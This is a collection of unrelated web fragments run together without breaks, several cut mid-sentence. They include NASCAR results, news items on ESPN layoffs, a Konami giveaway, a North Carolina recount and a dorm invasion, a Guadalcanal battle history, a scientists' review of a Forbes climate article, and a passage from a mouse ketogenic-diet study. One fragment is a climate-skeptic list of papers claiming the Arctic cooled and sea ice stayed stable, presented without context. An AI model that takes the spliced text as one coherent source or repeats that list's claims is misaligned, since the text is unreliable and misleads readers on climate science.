14. (21) Dale Earnhardt Jr., Chevrolet, 500, 27.
15. (9) Matt Kenseth, Toyota, 500, 27.
16. (28) Danica Patrick, Chevrolet, 500, 25.
17. (19) Kevin Harvick, Chevrolet, 500, 25.
18. (16) Martin Truex Jr., Toyota, 500, 23.
19. (12) Ryan Blaney, Ford, 500, 22.
20. (10) Chase Elliott, Chevrolet, 499, 21.
21. (22) David Ragan, Toyota, 499, 20.
22. (2) Kasey Kahne, Chevrolet, 499, 19.
23. (15) Jamie McMurray, Chevrolet, 499, 18.
24. (27) Michael McDowell, Chevrolet, 498, 17.
25. (30) Clint Bowyer, Chevrolet, 497, 16.
26. (26) Brian Scott, Ford, 496, 15.
27. (32) Trevor Bayne, Ford, 496, 14.
28. (33) Landon Cassill, Ford, 495, 13.
29. (35) Matt DiBenedetto, Toyota, 495, 12.
30. (31) Cole Whitt, Chevrolet, 495, 11.
31. (18) Casey Mears, Chevrolet, 494, 10.
32. (13) Ricky Stenhouse Jr., Ford, 494, 9.
33. (36) Chris Buescher, Ford, 491, 8.
34. (34) Regan Smith, Chevrolet, 491, 7.
35. (38) Michael Annett, Chevrolet, 490, 6.
36. (37) Joey Gase, Ford, 490, 0.
37. (40) Reed Sorenson, Chevrolet, 490, 4.
38. (39) Josh Wise, Chevrolet, engine, 326, 3.
39. (8) Denny Hamlin, Toyota, accident, 221, 2.
40. (20) Aric Almirola, Ford, engine, 206, 1.
———
Race Statistics
Average Speed of Race Winner: 80.088 mph.
Time of Race: 3 hours, 17 minutes, 2 seconds.
Margin of Victory: 0.663 seconds.
Caution Flags: 8 for 51 laps.
Lead Changes: 11 among 5 drivers.
Lap Leaders: J.Logano 1-21; P.Menard 22-31; Ky.Busch 32-100; K.Harvick 101-105; Ky.Busch 106-131; M.Kenseth 132-146; Ky.Busch 147-155; K.Harvick 156-222; M.Kenseth 223-240; Ky.Busch 241-314; M.Kenseth 315-326; Ky.Busch 327-500.
Leaders Summary (Driver, Times Led, Laps Led): Ky.Busch, 5 times for 352 laps; K.Harvick, 2 times for 72 laps; M.Kenseth, 3 times for 45 laps; J.Logano, 1 time for 21 laps; P.Menard, 1 time for 10 laps.
Wins: J.Johnson, 2; Ky.Busch, 1; D.Hamlin, |
2000s
Hanna et al., 2004
“An Analysis of the Icelandic Climate since the Nineteenth Century”
The Arctic cooled between the 1940s and 1990s
Kahl et al., 1993
Absence of evidence for greenhouse warming over the Arctic Ocean in the past 40 years
“In particular, we do not observe the large surface warming trends predicted by models; indeed, we detect significant surface cooling trends over the western Arctic Ocean during winter and autumn. This discrepancy suggests that present climate models do not adequately incorporate the physical processes that affect the polar regions.”
Conclusion: “The lack of widespread significant warming trends leads us to conclude that there is no strong evidence to support model simulations of greenhouse warming over the Arctic Ocean for the period 1950-1990. Our results, combined with the inconsistent performance of model simulations of Arctic climate indicate a need to understand better the physical processes that affect polar regions, especially atmosphere-ice-ocean interactions, ocean heat transfer and cloud radiative effects”
—–
There have been no net temperature changes in the Arctic Atlantic since 1940 (graph A), with abrupt cooling between 1940 and 1995 (graph B, far right).
Hanhijärvi et al., 2013
“Pairwise comparisons to reconstruct mean temperature in the Arctic Atlantic Region over the last 2,000 years”
—–
Arctic sea ice extent anomalies (September melt season) have been essentially stable for the last 3,600 years
Zhang et al., 2015The mass firings can turn into a blaze.
The 40 to 50 pink slips that ESPN insider Jim Miller expected to be dished out may escalate to about 70 at the Worldwide Leader, according to the Sporting News. Talent from all over — from front-facing TV personalities to online writers — is in jeopardy as parent company Disney looks to slash costs.
“This could be a bloodbath,” one source said, according to the report. And the carnage is coming soon: ESPN will start its Bristol-based layoffs as soon as Wednesday, according to Sports Illustrated.
The writing has been on the wall for years with the sports entertainment behemoth dealing with declining revenues as more viewers cut the cord. The first victim in ESPN’s far-flung coverage was NFL reporter Paul Kuharsky, who announced Monday he will be let go in July. Former Mets beat writer Adam Rubin said in a Q&A last month that he jumped ship after ESPN told him he would be a casualty of the layoffs.
In response to the grim reaper’s presence around campus, ESPN personalities have begun bargaining. Network anchors, according to Sporting News, have talked with management about taking pay cuts rather than facing the ax. The success of the compromises is not clear, but much of ESPN talent wants to make it understood they enjoy working there — and lack a fallback. There are on-air faces who make from $1.5 million to $3 million, Miller said, and lesser pay with the same exposure is tempting.
ESPN reportedly has adopted the painful euphemism “right-sizing” to address the firings, a corporate sanitation that paints mass layoffs as nothing more than a company finding efficiency. Disney’s fiscal second-quarter earnings call comes on May 9, and its presentation to ad buyers follows on May 16. If the layoffs begin Wednesday, expect them to end by then.Konami's considerate decision not to patch the broken Xbox 360 version of the Silent Hill HD Collection (read: because it costs money) has led the publisher to offer a free game to those who complain (read: because it costs less money). You just have to send an email to Konami to get the offer, according to Cheap Ass Gamer. Looking at the list of freebies, it sounds like a rebate straight out of 2002.
If you bought the Silent Hill HD Collection for Xbox 360, and you did so before Aug. 8, and you have a receipt to prove it, they will offer you your choice of a free game—and we mean an old-school physical media game, not some download.
Eligible titles include the Professor Layton ripoff Doctor Lautrec and the Forgotten Knights on the 3DS; the atrocious NeverDead for Xbox 360 or PS3 and Pro Evolution Soccer's two most recent North/Latin American releases.
NeverDead: The Kotaku Review At E3 in June, I watched Konami's Shinta Nojiri play NeverDead and struggle to reassemble his… Read more Read
Update: Not only that, one of the titles is — wait for it — Silent Hill HD on the PS3.
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What makes this the lamest giveback of all time is the fact that there are also 22 titles for the original Xbox on the list, at least 13 of which are not backward compatible with the Xbox 360. Message: Did you buy a defective product from us? Here, have some trash.
Konami offering free games to Xbox 360 owners of Silent Hill HD Collection [Examiner]FORT WORTH (AP) – And here we thought bacon cotton candy was pushing the pork-product envelope.
Fans at the Texas Motor Speedway in Fort Worth will be able to get a bacon-infused milkshake at the Texas 500 NASCAR races coming Oct. 31.
The Houston Chronicle reports the new creation follows in the footsteps of the speedway’s famous bacon cotton candy.
Executive chef Joel Pena of Levy Restaurants, which handles concessions, created the concoction for the race.
It includes six ounces of vanilla ice cream, two ounces of bacon syrup, two ounces of candied bacon, and half a bottle of black lager.
Topped with whipped cream and bacon bits, the shake costs $10. Non-alcoholic versions will also be available.
(© Copyright 2013 The Associated Press. All Rights Reserved. This material may not be published, broadcast, rewritten or redistributed.)
Latest News:
Top Trending:BBC: Journalism is about compassion too
Palestinian Mothers and we, the undersigned, in an expression of our dismay and disgust with the decision of the BBC, would like to put our names to the: LETTER SIGNED BY TONY BENN, CELEBRITIES, MANY OTHERS To Sir Michael Lyons, Chairman of the BBC Trust, Mark Thompson, Director General of the BBC, Caroline Thomson, Chief Operating Officer for the BBC The International Committee of the Red Cross say that conditions for the people of Gaza are "worse than Darfur" but the BBC refuses to allow the Disasters Emergency Committee to broadcast an appeal for aid. We agree with Government Health Minister Ben Bradshaw, who says the reasons the BBC has given for blocking an appeal for humanitarian aid are "completely feeble" and it was "an inexplicable decision". We urge the BBC to reconsider its decision and to contact the Disasters Emergency Committee as a matter of urgency so that its appeal can be broadcast nationally. Not to do so is to deny relief needed immediately for people suffering catastrophic and life-threatening conditions. Tony Benn, President of Stop the War, says, "To deny the help that the aid agencies and the UN need at this moment in time is incomprehensible. I appeal to the chairman of the BBC Trust to intervene to reverse this decision to save the lives of those who are now in acute danger of dying through a lack of food, fuel, water and medical supplies."1. There’s been an increased disappearance in gay bars during the last few decades. The biggest reason for closures? Rent.
2. New York is the first state to create a judicial commission to advocate for LGBT court members. The commission will advise the courts on issues in the LGBT community and help address discrimination, as well as work with bar associations and area organizations.
3. Book your tickets, folks: Atlantis’ Allure of the Seas cruise sets sail from Ft. Lauderdale, Florida, on Jan. 22. The largest all-gay cruise is part of the year-long 2017 celebration of the travel company’s 25th anniversary.
4. Still got some kids to buy presents for this season? The Independent rounded up a list of LGBT-inclusive literature for both children and young adults that would make great gifts to stick under the tree.
5. VIDEO OF THE DAY: Earlier this week, “5 LGBT Things” included a story about Malta banning gay conversion therapy. Today, a reminder of what the history of this “therapy” included, and how its years of failed attempts convinced psychologists that homosexuality wasn’t an illness at all.David T. Foster III/Charlotte Observer via Getty Images Pat McCrory is not giving up his fight.
One of the most tightly fought gubernatorial races in the U.S. still doesn’t have a clear winner.
On Tuesday, North Carolina Gov. Pat McCrory officially filed for a statewide recount, after hinting that he would do so earlier this month.
“With many outstanding votes yet to be counted for the first time, legal challenges, ballot protests and voter fraud allegations, we must keep open the ability to allow the established recount process to ensure very legal vote is counted properly,” said Russell Peck, McCrory’s campaign manager, in a statement.
On Nov. 9, North Carolina Attorney General Roy Cooper (D) declared victory over McCrory, the embattled Republican incumbent who signed into law some of the most retrograde legislation in the country since his term began in 2013.
More than 60,000 provisional and absentee ballots have yet to be counted, with most of the provisional ballots cast in Democratic-leaning counties. Cooper won eight of the 10 counties with the most provisional ballots. McCrory was favored in the other two, as well in several other counties outside of those 10, according to The News & Observer.
Cooper is ahead by 6,600 votes as of Sunday, although a lawyer for the candidate suggests that number is closer to 8,000.
McCrory’s call for a recount means the state will waste more $. McCrory is losing by 8k votes. Recount will confirm @RoyCooperNC’s victory. — Marc E. Elias (@marceelias) November 22, 2016
McCrory initially said the outcome of the race wouldn’t be clear until Nov. 18, once provisional and absentee ballots had been counted. McCrory has refused to concede, saying the race is too close to call.
If the race is within 10,000 votes once all of the state’s ballots are tallied, then McCrory or Cooper can ask for a recount ― a procedure that likely wouldn’t begin until after Thanksgiving.
McCrory’s campaign is concerned about early votes tallied in Durham County, a Democratic bastion that appears to have tossed the race to Cooper when 90,000 votes came in just before midnight on Election Day. When the votes were submitted late Tuesday night, McCrory dropped from a 60,000-vote lead to being 2,500 behind Cooper.
The North Carolina Republican Party has filed a formal complaint challenging the vote count in Durham County and asking that ballots be recounted by hand. The state GOP argues that the results were put in the state’s election system by officials operating with “bleary eyes and tired hands.”
The state GOP also filed protests for the tallies in half of the state’s 100 counties on Friday, alleging that McCrory is trailing due to fraud and technical difficulties.Sometime shortly after midnight, August 21, 1942, 200 men of the Ichiki Butiai—or Ichiki Detachment—the 2nd battalion of the Japanese 17th Army, silently approached the east bank of the Tenaru River. Cloaked in darkness, Col. Ichiki’s shock troops left the cover of coconut groves and crossed the narrow sandspit separating the river from the sea to hit the line of American 1st Division Marines. They did not know that the Americans were waiting for them. The Battle of the Tenaru River, the first major land engagement in the first major offensive by the allies against the Empire of Japan was about to ignite.
And yet that’s not entirely true. Surely, the identity of few other bodies of water have ever been so bungled. It is known as the Tenaru River due only to a U.S. intelligence mapping error. The Tenaru is actually further to the east. But from this error the battle would take its name, and has popularly stuck. The fight actually took place at the Ilu River, which for reasons both gruesome and practical—it was hardly a river—the Marines instead dubbed Alligator Creek. This, alas, is a double misnomer. First, it was crocodiles that would later feed on the unrecovered remains of Japanese dead. Second, while the Ilu wasn’t a river, neither was it a creek. It was a tidal lagoon separated from the sea by a sandbar of varying size, depending on the tide.
Whatever it was, little poetry was wasted on it. Machine gunner Robert Leckie, in his book “A Helmet for My Pillow,” describes the stagnant body as “crested with scum and fungus; evil…and green. If there are river gods, the Tenaru was inhabited by a baleful spirit.” Nevertheless, it was there that American forces dug in.
The History Behind Tenaru
Ten days earlier, on August 7, the Marines had landed on the islands of Guadalcanal, Tulagi, and Florida in the Southern Solomon Islands. The strategic importance of taking the islands lay in denying the use of their airfields by the Japanese to threaten the allied supply and communication sea lines between the United States and Australia. While the Marine landing on Guadalcanal was lightly opposed, a day later the Japanese Navy crushed its U.S. counterpart in the Battle of Salvo Island, forcing the American Navy to withdraw without having unloaded much of the heavy equipment and provisions needed by the infantry. Nevertheless, the Marines got busy; first forming a defensive perimeter from around the captured airfield, then securing supplies—included captured Japanese food and equipment—and beginning work to operationalize the landing-strip.
Meanwhile, intelligence gathered from early clashes, Marine reconnaissance, and Australian coastwatchers had alerted the Americans of the impending assault by Ichiki. Anticipating the likely point of attack, Colonel Clifton Cates, the first Marine commander, fortified the sandspit with a barbed wire barrier that extended across it into the surf. This was further defended by several machine gun posts. Several other machine gun crews, including Leckie’s, dug in alongside riflemen further up the riverbank at positions able to rake the coconut groves across the creek. They were supported by mortar teams entrenched behind. It was into this barrier that the Japanese collided.
Rather than force the creek in front of the Marines, Ichiki’s strategy was to hurl an initial sortie across the sandspit to the side. After they had broken through, he would send in the balance of his 900 men and destroy the Marines. It was a battle plan, suggests Joseph Wheelen in his just-published “Midnight in the Pacific,” “born of haste and hubris.” There was no reason for the hurry. Ichiki had landed on Guadalcanal on August 19 with orders to await the rest of his regiment, a few thousand more elite troops due to arrival in a couple days. But inadequate reconnaissance led Ichiki to underestimate the size of the Marine force. Moreover, the miscalculation fed his ego. Having already been fighting for nearly five years, Ichiki believed his hardened, battle-seasoned troops could easily match the raw, if more numerous, Americans.
‘They Came Sprinting And Howling’
Preparing for the assault, Ichiki’s mortars fell onto the Marine lines, accompanied by the snapping sound of Nambu light machine guns and the heavier chug of larger automatics. Then the Japanese charged. As Lecki describes his second volume, “Challenge for the Pacific“:
They came sprinting and howling and firing their rifles, and the Marines were ready for them. Like a train of powder, the American lines flashed alight. Machine guns spat long lines of curving tracers. Grenades exploded in orange balls. Rifles cracked and their muzzles winked like fireflies. Mortar shells plopped smoothly from their tubes, rising silent and unseen until they had climbed the night sky and fallen among the enemy with flashing yellow crashes that shook the earth. Everywhere were tongues and streaks and sparks, orange and white, red and yellow, and the night was herself a slashed and crisscrossed thing.
The Ichikis became entangled in the barbed wire. Heavy Marine fire cut them down. But the bottleneck on the sandspit only worsened. Wheelan tells us the 11th Marines brought their 75mm pack howitzer into the fray, “firing into the penned Japanese soldiers” with devastating effect. Leckie writes:
The barrel of the antitank gun glowed red in the dark. It cut swathes in the ranks of the enemy still pouring to the attack; squad after squad, platoon after platoon, running low with outthrust bayonets, gurgling, “Banzai! Banzai!” But the short squat shapes were falling. Singly, in pairs, sometimes in whole squad groups, the antitank’s canister sickled them to the sand.
Some of the Japanese managed to break through and vicious hand-to-hand fighting ensued. But most never reached the Americans. Despite his escalating losses, Wheelan writes, Ichiki refused his “subordinates’ pleas to regroup and to try breaching the Marine lines upriver.” Instead, he “redoubled his efforts to cross the sandbar, training his 70mm howitzer, mortar, and machine-gun fire on the Marine positions. The Marines hugged the ground in their shallow holes, ‘crying, praying, and cursing all at the same time’…and there were increasing cries of ‘corpsman!’”
Leckie and his partner had seized their unemplaced gun and moved up and down the riverbank, triggering short bursts “to give the impression of massed weapons [and] confuse the enemy.” Their maneuvers served the dual purpose of making it more difficult for the enemy to zero in on their location, as the Japanese had another crew. Wheelan tells their story:
Al Schmid was a loader on a three-man machine-gun crew when enemy fire killed the gunner. Schmid took over, and the other surviving crew member, Lee Diamond, loaded as they fired, hour after hour…then Diamond was wounded in the arm, and a grenade blinded Schmid. Schmid continued firing the machine-gun under Diamond’s directions for an hour until they were evacuated. Marines counted more than a hundred bodies within the range of Schmid’s gun.
The entire three-man crew would be awarded the Navy Cross, the Corps’ second highest decoration for extraordinary valor in combat.
The Lasting Impact Of Guadalcanal
With daylight, it was clear the battle had gone to the Marines. The surviving Japanese, bewildered and unaccustomed to defeat, didn’t know what to do. Many simply charged the American lines or waded into the creek and sea to be cut down or drown. Soon, Marines crossed to the opposite side and swept through the coconut groves, completing the rout. Wheelan offers the grisly tally:
The battle had lasted sixteen hours. Just ten Japanese lived to return to…where 80 men from Ichiki’s landing force had remained behind. The Ichiki Detachment had lost 813 killed. Fourteen Japanese, 12 of them wounded, became the Marine’s prisoners. The First Marines reported 34 dead and 75 wounded. Colonel Cates, who had fought in France during World War I, wrote that he never seen such a “congestion of dead” as he did that day on the sandspit and in the coconut grove.
The battle for Guadalcanal was not over. Major land, sea, and air engagements remained, and the island would not be declared secure until February 1943. But the Battle of the Tenaru River swung the momentum of the campaign toward the allied effort, just as the overall victory at Guadalcanal swung the momentum of the Pacific War entire. American would never be on the defense again.
At Guadalcanal, the Empire of Japan lost two-thirds of their 31,000-plus army troops committed to the fight. Approximately 1,600 Americans were killed. Warship losses were roughly equal, but the Japanese would never equal American industrial ability to replace them and so felt the loses more significantly. Most devastating to the Japanese was the decimation of their elite naval aviators. From this, they would never recover. The most shocking of American losses was the over 5,000 U.S. sailors and Naval officers killed, a figure that easily surpassed the Navy’s accumulated losses in all her history.
Guadalcanal also helped set the viciously brutal tone of the rest of the Pacific War. On the banks of the Tenaru, in the face of Japanese treachery and cruelty, the Marines had learned to give no quarter. “Among the piles of bullet-shredded Japanese corpses,” Wheelan writes, “lived wounded soldiers still capable of killing and wounding. When they cried for help and corpsmen attempted to give aid, they detonated a grenade or shot the caregiver.”
Finally, while Guadalcanal was a laboratory for the strategy and tactics that would prove essential throughout the island-hopping campaign, arguably the greatest victory gained by the Americans was, as Leckie put it, that “The legend of the Japanese superfighter had been shot into a sieve and would no longer hold water.” The Americans had proved that the Japanese could be matched and bettered. It was a shattering blow to the Empire. As Rear Admiral Raizo Tanaka admitted, “There is no question that Japan’s doom was sealed with closing of the struggle for Guadalcanal.”Nine scientists analyzed the article and estimated its overall scientific credibility to be ‘very low’. more about the credibility rating
A majority of reviewers tagged the article as: Biased, Cherry-picking, Derogatory, Misleading.
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SCIENTISTS’ FEEDBACK
SUMMARY
While inaccurate climate alarmism should certainly be avoided, this Forbes’ article fails to demonstrate that climate science has been alarmist. According to the scientists that reviewed this article, the piece relies on false assertions, misleading representations of science and scientists, and poor sources.
Because the climate system responds somewhat slowly, the extent of future impacts depends critically on current greenhouse gas emissions, which can commit us to long-lasting changes. The author fails to grasp this point when he asserts that the worst impacts of climate change should have already occurred if they were realistic.
The net economic costs of climate change are likely to be significant and to increase over time. However, attempts to measure climate change economic impacts at the global scale is highly dependent on economists’ assumptions and there are a hosts of climate change impacts that cannot be accounted for by consumption-based global aggregations of economic impacts (e.g. impacts on ecosystems, more pronounced impact on developing countries…).
See all the scientists’ annotations in context
REVIEWERS’ OVERALL FEEDBACK
These comments are the overall opinion of scientists on the article, they are substantiated by their knowledge in the field and by the content of the analysis in the annotations on the article.
Victor Venema, Scientist, University of Bonn, Germany:
This picking of quotes that are convenient for Robert Bradley Jr.’s narrative while ignoring what most climate scientists say is one of the most used rhetorical tools of this piece. The other is the use of offensive emotional language to reduce the critical thinking of his readers. People should know that Forbes is nowadays just a blogging platform.
Britta Voss, Postdoctoral Research fellow, U.S. Geological Survey:
This article contains no serious evidence to support its claims that climate science is fraudulent and climate action is pointless. All of the sources it cites either do not truly support the claims or are not valid in themselves. It provides very little information of any sort, and is mostly a collection of debunked theories, cherry-picked references to actual science, and unsubstantiated mantras.
Kyle Armour, Assistant Professor, University of Washington:
There is very little substance to evaluate here. Yes, one can find examples of when individual scientists or politicians have exaggerated the impacts of climate change. But to present those examples as if they are mainstream views, when they are not, is very misleading.
Frank Vöhringer, Dr. rer. pol, Scientist, Ecole Polytechnique Fédérale de Lausanne (EPFL):
The article is a polemic with many derogatory and misleading statements. Overall, it’s a piece of disinformation. The pro-fossil-fuel bias becomes most apparent at the end of the article.
Jeremy Fyke, Postdoctoral researcher, Los Alamos National Laboratory:
On the whole, this article is not an objective critique of climate science.
Notes:
[1] See the rating guidelines used for article evaluations.
[2] Each evaluation is independent. Scientists’ comments are all published at the same time.
KEY TAKE-AWAYS
The statements quoted below are from Robert Bradley Jr.; comments and replies are from the reviewers.
1. Natural variability in Earth’s climate system drives year-to-year fluctuations but the underlying long-term warming trend driven by human activities is clear.
“ The discrepancy between model-predicted warming and (lower) real-world observations has inspired new respect for natural climate variability relative to greenhouse-gas forcing. ” Victor Venema, Scientist, University of Bonn, Germany:
Robert Bradley Jr. probably makes the typical mistake of equating the spread of individual model simulations within the ensemble spread with the model uncertainty. If climate models are used for decadal climate prediction, like Robert Bradley Jr. does here, the uncertainty is twice as large as the model spread.
(more details and explanations) Natural variability has been studied by science since the beginning. That El Niño fluctuations can give the appearance of a “hiatus” is something scientists have warned about since the likes of Robert Bradley Jr. have started their “hiatus” meme, ignoring all those warnings. Without any need for statistical expertise, this can be seen in the plot below from the Texas State Climatologist.
Source
“ ‘Although some researchers doubted the existence of a global warming hiatus because of coverage bias, artificial inconsistency, and a change point analysis of instrumental Ts records,’ a just-published study at Nature.com’s Scientific Reports found, ‘it is now accepted that a recent warming deceleration can be clearly observed.’ ” Jeremy Fyke, Postdoctoral researcher, Los Alamos National Laboratory:
…which has been truncated by several years of record temperatures increases—on top of previous record warmth. This is the superposition of a forced trend on top of natural variability. The cherry-picking of time series to prove that the Earth isn’t warming due to anthropogenic influence is a classic climate change contrarian tactic. Emmanuel Vincent, Research Scientist, University of California, Merced:
This graph of global temperature helps to put the “slowdown” of warming that occurred around the 2000-2010 period in perspective. It is misleading to put the emphasis on the slowdown without reminding that, over the long term, the temperature keeps rising. Source: NOAA Britta Voss, Postdoctoral Research fellow, U.S. Geological Survey:
This article in Scientific American provides context left out by the author on the scientific debate over the warming “hiatus.” By cherry-picking only this line from a single study, the author misrepresents the painstaking process of data analysis and hypothesis testing that led to that conclusion. As the Scientific American article points out, the authors of the study cited by the author were confident in reporting their findings—which do not refute the existence of anthropogenic global warming—because science exists to challenge previous work and is constantly incorporating new information that may alter previous conclusions, a fact which undercuts the author’s claims repeated throughout his article that climate science is a politically-motivated house of cards.
2. While impacts of climate change are already occurring, much greater impacts are expected to build in the future as a consequence of current and future greenhouse gas emissions.
“Back in the late 1980s, the UN claimed that if global warming were not checked by 2000, rising sea levels would wash entire counties away.” Britta Voss, Postdoctoral Research fellow, U.S. Geological Survey:
Rising seas are, in fact, forcing many Pacific island nations and coastal communities in the United States to plan for permanent evacuation. Although low-lying areas will not “disappear” into the ocean anytime soon, nuisance flooding, erosion, and storm surges are making maintaining these communities economically untenable.
“In 2009, then-British Prime Minister Gordon Brown predicted that the world had only 50 days to save the planet from global warming. But fifty days and years later, and the earth still spins.” Britta Voss, Postdoctoral Research fellow, U.S. Geological Survey:
This is extremely misleading. The article this claim refers to reports that Gordon Brown stated that the 2009 Copenhagen Climate negotiators had 50 days to adopt an adequate agreement to prevent catastrophic climate change. The time span of 50 days is inaccurately used by the author here to suggest that Brown thought the world—rather than the negotiations—would end in 50 days.
“…scientist James Hansen unequivocally stated: ‘We have at most ten years—not ten years to decide upon action, but ten years to alter fundamentally the trajectory of global greenhouse emissions.'” Victor Venema, Scientist, University of Bonn, Germany:
The classic because-x-did-not-happen-yet-thus-x-will-not-happen fallacy. A fallacy that is especially ignorant in the case of a problem like climate change which responds slowly, like an oil tanker…
“Time is up on Gore’s ‘point of no return’ and Hansen’s ‘critical tipping point.’ But the two fathers of the global-warming movement (Hansen and Gore got it going back in the summer of 1988) have nary admitted their exaggeration nor set a new timetable for effective action.” Mike MacCracken, Chief Scientist for Climate Change Programs, Climate Institute:
Bradley indicates no understanding of the time it will take to change over the global fossil-fuel energy system and the inertia of the climate system. Observations are already showing that the accelerating loss of ice from the Greenland and Antarctic ice sheets is giving indications of committing the world to a few meters (roughly 5-10 feet) of rise in global sea level over the next few centuries, which would seriously disrupt many coastal cities and swamp a number of island nations—and there is no indication that actions to reduce emissions can reverse this commitment—so, we are indeed moving past the point where emissions cutbacks can keep sea level and climatic conditions near to the conditions that have allowed civilization to flourish over the past several centuries
3. The weight of evidence indicates that climate change presents a serious risk to societies around the world.
“Sensitivity estimates—defined as the temperature effect from the enhanced greenhouse effect—have been coming down in the peer-reviewed literature…” Kyle Armour, Assistant Professor, University of Washington:
This statement is somewhat misleading. Estimates of equilibrium climate sensitivity have been coming down in one branch of the literature that uses global energy budget observations (e.g. Otto et al 2013). However, recent work suggests that those energy budget estimates are biased low, moving estimates back up again once those biases are corrected for (see my recent commentary*). Meanwhile, estimates of sensitivity from other methods (e.g., paleoclimate, process-based observational constraints or climate model simulations) haven’t budged. Altogether, I don’t see any reason that the IPCC range isn’t still our best guess. Kyle C. Armour (2016) Projection and prediction: Climate sensitivity on the rise, Nature Climate Change
“climate economists see a positive externality, not a negative one, from the human influence on climate. (In technical lingo, the so-called social cost of carbon would be negative.)” Gary Yohe, Professor of Economics and Environmental Studies, Wesleyan University:
This is cherry-picking at its worst. You can always find an economist who will make enough assumptions so that he or she can give you the answer you want. In this case (references the social cost of carbon), you can get a benefit ONLY if you assume a very high discount rate (like 5% so that future generations do not matter), and you ignore equity issues, and you assume that warmer climates in the crop-intensive areas will not include an increase in the intensity and/or frequency of intense weather (drought, floods, etc….), and you do not recognize that warmer temperatures mean more pests and more weeds. see the Summary for Policymakers of the Report of Working Group II to the fourth assessment of the IPCC Richard Tol, Professor of Economics, University of Sussex:
The social cost of carbon would indeed be negative for a low climate sensitivity. This is because the net impacts of climate change only turn negative at more pronounced warming, and this would occur in a more distant future for a low climate sensitivity. At the same time, the positive impacts of carbon dioxide fertilization would be unaffected. Mike MacCracken, Chief Scientist for Climate Change Programs, Climate Institute:
The present calculations of the “social cost of carbon” tend to be bottom up and so include only those costs that one can reasonably quantify. As a result many types of impacts are simply left out of the calculation, like the cost of losing the culture of an island nation that is swamped, the impacts of ocean acidification and biodiversity loss, the actual social cost of climate change (e.g., of the New England climate becoming that of the Southeast, Sweden like Spain, etc.)… Britta Voss, Postdoctoral Research fellow, U.S. Geological Survey:
At a minimum, the author should be honest and say that “some climate economists” conclude that the net externalities of climate change may be positive, as the article he links to discusses only the economic views of its author and anecdotes from two climate scientists. Further, the article the author links to discusses only the net economic impacts on “the US and most of the developed countries”, while climate change will impact economies around the globe. This is not a meaningful argument anyway, as the exact value of the climate sensitivity does not inherently determine whether climate impacts will be economically net positive or negative. Frank Vöhringer, Dr. rer. pol, Scientist, Ecole Polytechnique Fédérale de Lausanne (EPFL):
There are positive and negative economic consequences of climate change. On a global level and for average temperature increases of more than 2 degrees Celsius, most climate economists find a negative influence of climate change on human welfare (and even more clearly on ecosystems), although negative net damages have been calculated in some instances. Net damages tend to be more pronounced in tropical countries, which usually have lower per capita incomes. For this reason, purely consumption-based global aggregations of climate impacts tend to show lower net damages than aggregations which consider differences in the marginal utility of income across countries. The evaluation of the net damages thus depends on whether the impacts on poor countries are properly considered. Indeed, the issue of international aggregation of benefits and damages is ethically problematic to an extent that calculating a social cost of carbon at a global level may conceal more than it reveals.
4. The article builds on unsupported assertions and accusations and logical fallacies.
“Falsified and sure-to-be-falsified exaggerations from a parade of Ph.D. scientists” Britta Voss, Postdoctoral Research fellow, U.S. Geological Survey:
The author does not provide any evidence of “falsified” scientific reports of climate predictions or observations.
“Peter Wadhams, professor of ocean physics at the University of Cambridge, predicted ‘global disaster’ from the demise of Arctic sea ice—in four years. He too, is eating crow.” Victor Venema, Scientist, University of Bonn, Germany:
These predictions of Peter Wadhams have been opposed by all climate scientists I know of. This picking of quotes that are convenient for Robert Bradley Jr.’s narrative while ignoring what most climate scientists say is one of his most used rhetorical tools. Kyle Armour, Assistant Professor, University of Washington:
Indeed. Wadham’s claims have been roundly refuted by the climate science community. They are certainly an example of exaggeration, but to suggest that they somehow represent the scientific mainstream is a great distortion. [See Climate Feedback review of the latest prediction by P. Wadhams]
“Can the “uncertainty monster” in climate research, and particularly climate modeling, be acknowledged?”
Kyle Armour, Assistant Professor, University of Washington:
A quick look through the IPCC assessment reports reveals long discussions about uncertainty in our understanding and climate prediction. Moreover, uncertainty in global warming projection exists mainly at the high end—toward more warming—for simple physical reasons. Gary Yohe, Professor of Economics and Environmental Studies, Wesleyan University:
The scientific community has been scrupulously careful to report uncertainties in terms of “likely” or “confidence”. The planet has warmed; that is unequivocal. Humans have contributed; that is more than 95% assured.
See: IPCC 5th Assessment Report Victor Venema, Scientist, University of Bonn, Germany:
The “uncertainty monster” is a reason to act faster. Uncertainties about how strongly the climate will respond makes the risks of climate change larger.
“…obsessing about climate change is avoiding a frank discussion about the here-and-now problems of budget deficits, the federal debt, school choice, entitlement reform, and so on.” Jeremy Fyke, Postdoctoral researcher, Los Alamos National Laboratory:
Of course, this is a classic false dilemma used by climate change contrarians, which claims that you can’t deal with climate change AND other issues simultaneously. This is patently wrong.3 men arrested in dorm invasion at University of Hartford
HARTFORD >> Three people, including two University of Hartford students, have been charged with forcing their way into a dorm room with a gun.
Police tell the Hartford Courant the occupant of the room opened the door after persistent knocking at about 2 a.m. on Tuesday.
He told police two men forced their way in and one pointed a small gun at his head. He told authorities he was able to push them back into the hall and lock his door. He says he then went back to sleep because he had a morning exam.
Twenty-year-old Stephane Idohou, 19-year-old Tyrone Davis, and 21-year-old William Wood, face charges including home invasion and attempted robbery.
They were ordered held on bond. It was not immediately clear if they have hired attorneys.SAN JOSE — Police and family members are seeking the public’s help with locating a 30-year-old San Jose woman who was last seen a month ago purportedly heading to an unspecified camping trip.
Jelena Pajić was last seen by her family Aug. 14. Sgt. Albert Morales said there is no indication of foul play, but that her abrupt lack of contact with friends and family prompted them to file a missing person report.
Stay up to date on breaking news with our mobile app from the Apple app store or the Google Play store.
Fliers distributed through social media by Pajić’s friends and family said that before she was last seen, she said “she will be going camping for about a week or so by herself and in her |
higher level of blood BHB and a slightly lower level of blood glucose on day 6 compared to day 13. While we cannot rule out the possibility that the transient drop in weight and slightly lower glucose on day 6 contributed to the survival benefit seen when radiation and KC were combined, it is unlikely that this played a major role since tumor shrinkage continued well after the animals began to regain the lost weight. Furthermore, the remaining tumor cells did not begin to regrow after day 6 when the animals began to rapidly regain their lost weight. Mukherjee et al [14] described an increase in food consumption without a concomitant increase in weight in their mouse model beginning immediately following surgical implant of brain tumor cells. Although we did not measure food intake in individual animals, we did not see a noticeable change in food consumption in the KC-fed animals that received radiation. The transient drop in weight may be a result of the cumulative effects of therapy and dietary change. One animal in the SD+radiation group survived longer than the others in that cohort and had a persistent drop in weight. Animal behavior serves as another way to assess the animal's health and well being. All animals were observed daily and we saw no change in grooming and physical activity post treatment. This animal remained active and apparently healthy until day 150 post-implantation when its weight dropped, it showed tumor-related symptoms and was euthanized.
